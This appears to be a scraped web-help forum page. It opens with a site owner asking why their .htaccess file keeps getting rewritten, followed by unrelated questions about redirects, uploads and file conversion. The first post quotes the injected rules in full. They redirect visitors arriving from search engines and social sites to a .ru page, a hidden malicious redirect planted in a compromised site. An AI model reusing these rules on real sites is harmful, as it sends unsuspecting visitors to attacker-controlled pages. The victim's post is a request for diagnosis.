HTML - .htaccess File Keeps Getting Rewritten
OK, guys.... Why does my .htaccess file keep getting rewritten? I change the file back, and within a few days it gets changed again.
Befo Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] RewriteRule ^(.*)$ http://www.GreeleyElectric.com/$1 [R=301,L] </IfModule> After: Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] </IfModule> Similar TutorialsI am trying to write an .htaccess file that accomplishes three things, but I can't get them to happen all at once. Do I have something out of order? (the file is not active right now) I am trying to: 1) redirect all non-www to www (for the root directory main site) 2) redirect two specific pages to new pages and retain the link juice 3) not redirect two subdirectories that have other domains pointed to them (www.bigcountryacres.info points to the first and www.kidslovedrbarton.com points to the 2nd) The following code almost works. The two old .htm pages on the main site are redirected to their .html versions just fine. When going to a subdirectory, you can reach the index page the first time. Then if you link to a subpage and then go back to the home page link (just index.htm), it gets redirected to my main site instead. Any idea of what I'm doing wrong? Options +FollowSymLinks RewriteEngine on RewriteCond %{REQUEST_URI} !^/_BigCountryAcres/ RewriteCond %{REQUEST_URI} !^/_DrBarton/ RewriteCond %{HTTP_HOST} ^integritivity.com [NC] RewriteRule ^(.*)$ http://www.integritivity.com/$1 [L,R=301] redirect 301 /WebDesign.htm http://www.integritivity.com/WebDesign.html redirect 301 /index.htm http://www.integritivity.com/index.html Thanks, Robin I am not sure if this is the right place to ask this question, but here it goes. I have renamed a directory. To help with confusion I have decided to setup a .htaccess file in the old directory to redirect anyone who goes there by mistake. Old: bigdogcattle.com/?=Cattle/ New: bigdogcattle.com/?=Show-Cattle/ I am able to setup the file to work when someone types in: bigdogcattle.com/Cattle/, but not when they type in bigdogcattle.com/?=Cattle/. Can someone help? Thanks Jamie Okay I want to make a .htaccess file but dont know where to start.. the tutorials on the net leave me way past confused.. I want it to be a 403 forbidden error message! any help ? hey... i didnt know what forum to post this in, so admins, do what you want with this thread... I've recently taken over the web designing for a company... the site is already made, and the previous designer has dropped out, and the company needs me to make updates, add articles, etc. There are .htaccess files in almost every directory and subdirectory throughout the site. When I go to add an image, and make a link to it on a page, the image is not found, even though the source is correct. ex - initially, the page links to an image at "images/image1.jpg" . I make an image2.jpg, place it in the right folder, and try to link to it - "images/image2.jpg" but the image cannot be displayed on the site (says it cannot be found - same as a 404). I am assuming this has to do with the htaccess permissions and all that stuff (also in each directory is a "_notes" subdirectory and another directory like that) but I'm not sure. I wikipedia'd htaccess files, and read that they were made for apache servers... the server hosting the site I am working on uses IIS... another confusing problem. Is there anyway to edit these .htaccess files so that I can add more images to the site? Also, why cant I see images these 'blocked' images? Is there any way to disable this blocking? I'm new here so if I break any rules or post in wrong place please tell me. Basically I have a login system setup using .htaccess and .htpasswd. Is there any way to make a registration form so that when someone registers it automatically adds their username and password to the .htpasswd file? Thanks in advance Matt I have about 300 files in the format gb3aa.htm, gb3ab.htm, gb3zz.htm etc in my root directory and I want to redirect users to /newdirectory/gb3aa.htm etc If I put 300 entries in my .htaccess file such as: redirect /gb3aa.htm http://www.mydomain.com/newdirectory/gb3aa.htm it would work fine, but there must be a smarter way of doing this? I did try: RedirectMatch gb3(.*)\.htm$ /newdirectory/gb3$1.htm but this did not work. So, what is the smart way of achieving this please? Hello, I have finished my website (about ~95%, only few things left to do and one of them - .htaccess). Created .htacces with content: Code: deny from all ErrorDocument 403 /403.html and puted in folders. Ex. Lets say i have these fodler's: gg nobody templates I wanna block access to templates folder, so putted .htaccess inside. Everythink work good, but let's say templates have inside folder: tpl So, full path templates/tpl. Putted inside .htaccess file too, but these problem: 403.html file loading, but not images. My files: 403.html and folder err with content: error.png and favicon.ico It's possible to make work 403.html from any folder in root, because now if there two or more folder images doesn't loadin. what if you cant get htaccess to become writeable in word press will it affect my blogging anybody know Hi, At the moment I have my site redirecting to www.mysite.com if someone types mysite.com Now what I am looking to do is also redirect people typing w.mysite.com , ww.mysite.com & wwww.mysite.com This is the code I have in my .htaccess file currently Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^mysite\.com RewriteRule ^(.*)$ http://www.mysite.com/$1 [R=301,L] Let me know if you require anymore explaining. Hi, I've just installed an SSL certificate on a shared server which results in my URL being changed from : http://www.mywebsite.com to https://web73.secure-secure.co.uk/mywebsite.com I have a few pages that I want to use SSL on, how can I use .htaccess mod rewrite to change the secure url to - https://www.mywebsite.com? thanks I am trying to get my .htaccess file to work with IE. It seems to work for with FF. Here is what I have: Code: ErrorDocument 404 /404.html <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.mydomain\.com$ [NC] RewriteRule ^(.*)$ http://www.mydomain.com/$1 [R=301,L] </IfModule> Hey guys, If I'm posting in wrong section I apologize I have a small problem what I need help with. I use a free service for redirecting people to my mobile site, but there service is down for last 6 days or something got wrong. Anyway I decided to use .htaccess rewrite to redirect them to mobile site. The problem I have is that I cant really find how to do it efficiently and what I need because I have two different mobile sites. here it goes: My site example.com First mobile site is example.com/index.php?template=3 (this one is mainly for blackberry and all rest mobile devices, and I like this one to load in opera mini also if possible) Second mobile site is example.com/index.php?template=5 (that one is specifically for iPhone and android phones) I am really don't know how to do it please! Thank you. Hi there! I've got this .htaccess Code: RewriteEngine on RewriteRule ^(.*/)$ index.php?$1 RewriteRule ^(.*#)$ index.php?$1 RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond %{HTTP_HOST} !^www\.mysite\.com\.ar$ [NC] RewriteCond %{HTTP_HOST} ^(www\.)?([^\.]+)\.mysite\.com\.ar$ [NC] RewriteRule ^(.*)$ /index.php?$1 [QSA,L] So far it redirects whatever that looks like a folder (/something/, with an ending slash), and also any kind of subdomains. Now I wish to make use of those subdomains for languages (like: us.mysite.com.ar, for the USA site). Thing is, ALL of my images are linked like: HTML Code: src="/images/myimage.png" So whether I'm on a different subdomain than the regular one, the images won't be linked correctly. Aaaand it's priority that the subdomain remains in the URL (no redirection). Is there any way out of this without me having to replace every image (there are at least 200 xD)? Otherwise, I could redirect everything to index.php no matter what is it, and then have it generate the corresponding file (in case of an image or other file), or generate a page (in case of a folder, like, i dunno: mysite.com.ar/news/). But isn't this a lot slower and heavier for the server?. Anyway, please help me to have images in my site no matter what's the subdomain >.< Thanks everyone for your ideas in advance!! =) Ok guys I own the site www.top200.org. Currently there are multiple websites using bots to spam my lists with hits causing too much CPU time to be used and my provider shutting down my servers temporarily each time. I currently use Aardvark Top Sites script and I've heard of others having the same problem. A solution was posted to make a .htaccess file that prevents anyone, including bots from certain urls from accessing your site. So I created a .htaccess file and yet apparently the CPU time is still being overloaded because my lists are always down. Please read the following code and tell me if this is the correct format for a file named .htaccess to block visitors from these certain sites from visiting mine Once again, the file is titled .htaccess RewriteEngine on RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?5sohbet\.net/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?89erotik\.com/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?aklimdasin\.net/.*$[NC,OR] RewriteRule .* - [F,L] The following common code is not working in Firefox (3.0.11). It works in Safari (4.02) and IE7. When I say not working, I mean that when I click the submit button, the address does not change to the form processing url: Code: <!-- The data encoding type, enctype, MUST be specified as below --> <form enctype="multipart/form-data" action="uploader.php" method="POST"> <!-- MAX_FILE_SIZE must precede the file input field --> <input type="hidden" name="MAX_FILE_SIZE" value="30000" /> <!-- Name of input element determines name in $_FILES array --> Send this file: <input name="mp3file" type="file" /> <input type="submit" name="submit" value="Send File" /> </form> The file uploader.php does nothing, it is blank, I'm merely trying to establish communication. Once again, the code functions in IE and Safari so I dont think this is PHP related. I have a project written in ASP.NET under Visual Studio 2005 with C#. I am also using Infragistics objects for .NET Advantage 2007. In my page to attach resources to a record I have written a browser and am displaying previously chosen resources here. But when I click the upload button the page opens a new window (which is not a dialog window, but a normal one) which is exactly the same as my dialog window. How can this possibly happen? Can anyone help me? Hi ,I am new in html.Hope you can guide me step-by-step on this. I want to import my .txt file into the html form and the html form can add new item then to be add in to that particular .txt file too as well. can this be done? For example: (fruits.txt) 1.apple 2.banana 3.orange Can this fruit.txt be impoted to fruit.html page and show it at fruit.html page, at the same time, the fruit html page allow to add in new fruit, and once user add in new fruit, the fruit.txt file will be updated as well. Thanks for your guidiance and help. :-) Hi, Anybody have any idea how to convert a xml file to excel file.Actually i m working on visual studio and using C programming language.I have a xml file in the same directory where my programm is running.When i pressed a icon it will take the xml file automatically and convert to a excel file and show the outpt to the user.How can i achive this goal ??? Any help would be great. Thanks, Basanta |